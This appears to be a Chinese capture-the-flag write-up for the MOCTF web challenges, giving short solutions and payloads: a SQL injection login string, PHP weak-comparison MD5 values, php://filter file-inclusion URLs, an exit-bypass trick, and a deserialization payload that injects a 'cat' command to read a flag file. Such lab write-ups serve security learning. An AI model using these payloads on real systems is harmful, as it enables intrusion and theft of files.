MOCTF

时间:2019-09-15
本文章向大家介绍MOCTF,主要包括MOCTF使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

web

  1. 一道水题

    F12查看源码或访问view-source:http://119.23.73.3:5001/web1/

  2. 还是水题

    F12改前端限制,提交moctf

  3. 访问限制

    burp抓包改User-Agent:为 NAIVE即可

  4. 机器蛇

    查看源码 view-source:http://119.23.73.3:5001/web4/
    发现注释下有<!--robots.txt-->,访问
    访问/flag327a6c4304ad5938eaf0efb6cc3e53dc.php
  5. PHP黑魔法

    dirsearch扫描网站目录,/index.php~下有源码
    利用php弱类型 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
    传入MD5后开头为0的值即可
    
    payload:http://119.23.73.3:5001/web5/index.php?a=s878926199a&b=s155964671a
  6. 我想要钱

    传入?money=1e88

  7. 登录就对了

    万能密码登录 admin' or 1=1 -- +

    看源码

  8. 文件包含

    php伪协议直接读

    payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/convert.base64-encode/resource=flag.php

  9. 暴跳老板

    抓包发送Dear=MyBoss 在response中有提示

  10. flag在哪里

    重定向,用burp抓包

    脑洞访问/frogflag.php orz!!

  11. 美味的饼干

    F12查看Cookie,base64解码,后查询md5出user

    伪造admin的Cookie出flag

  12. 没时间解释了

    条件竞争,用burp发包就行

  13. 死亡退出

    拉开看源码

     <?php
      show_source(__FILE__);
      $c="<?php exit;?>";
      @$c.=$_POST['c'];
      @$filename=$_POST['file']; 
      if(!isset($filename))                    
      {                                       
        file_put_contents('tmp.php', ''); 
      }                                 
      @file_put_contents($filename, $c);
      include('tmp.php');
    ?>

    P神的文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    <?php exit;?>进行编码使他失效,可以用php伪协议,file可控、

    base64算法解码时是4个byte一组,所以在开头加一个字母

  14. 火眼金睛

    ##脚本
    import requests
    import re
    
    url = 'http://119.23.73.3:5001/web10/'
    se = requests.session()
    html = re.findall("<textarea rows = '30' cols = '100'>(.*)</textarea>",se.get(url).text)
    result = re.findall("moc(.)f",str(html))
    data = {'answer': len(result)}
    sult = se.post('http://119.23.73.3:5001/web10/work.php',data = data)
    print(sult.text)
  15. unset

    <?php
    highlight_file('index.php');
    function waf($a){
    foreach($a as $key => $value){
            if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
    }
    }
    }
    foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
            if($$__R) { 
            foreach($$__R as $__k => $__v) { 
                if(isset($$__k) && $$__k == $__v) unset($$__k); 
            }
         }
    
    }
    if($_POST) { waf($_POST);}
    if($_GET) { waf($_GET); }
    if($_COOKIE) { waf($_COOKIE);}
    
    if($_POST) extract($_POST, EXTR_SKIP);
    if($_GET) extract($_GET, EXTR_SKIP);
    if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['daiker']){
            exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
            include($_GET['file']);
    }
    }
    
    ?>

    看到

    foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
            if($$__R) { 
            foreach($$__R as $__k => $__v) { 
                if(isset($$__k) && $$__k == $__v) unset($$__k); 
            }
         }
    
    }

    超全局变量覆盖,没看懂,。。。。。。post和get同时发东西,以后补

  16. PUGU

    点击学校,再点击叫我校霸,能下载到源码,访问class.php.bak得到源码

    php反序列化实现任意命令执行

    payload:http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

原文地址:https://www.cnblogs.com/thenbz3/p/11524068.html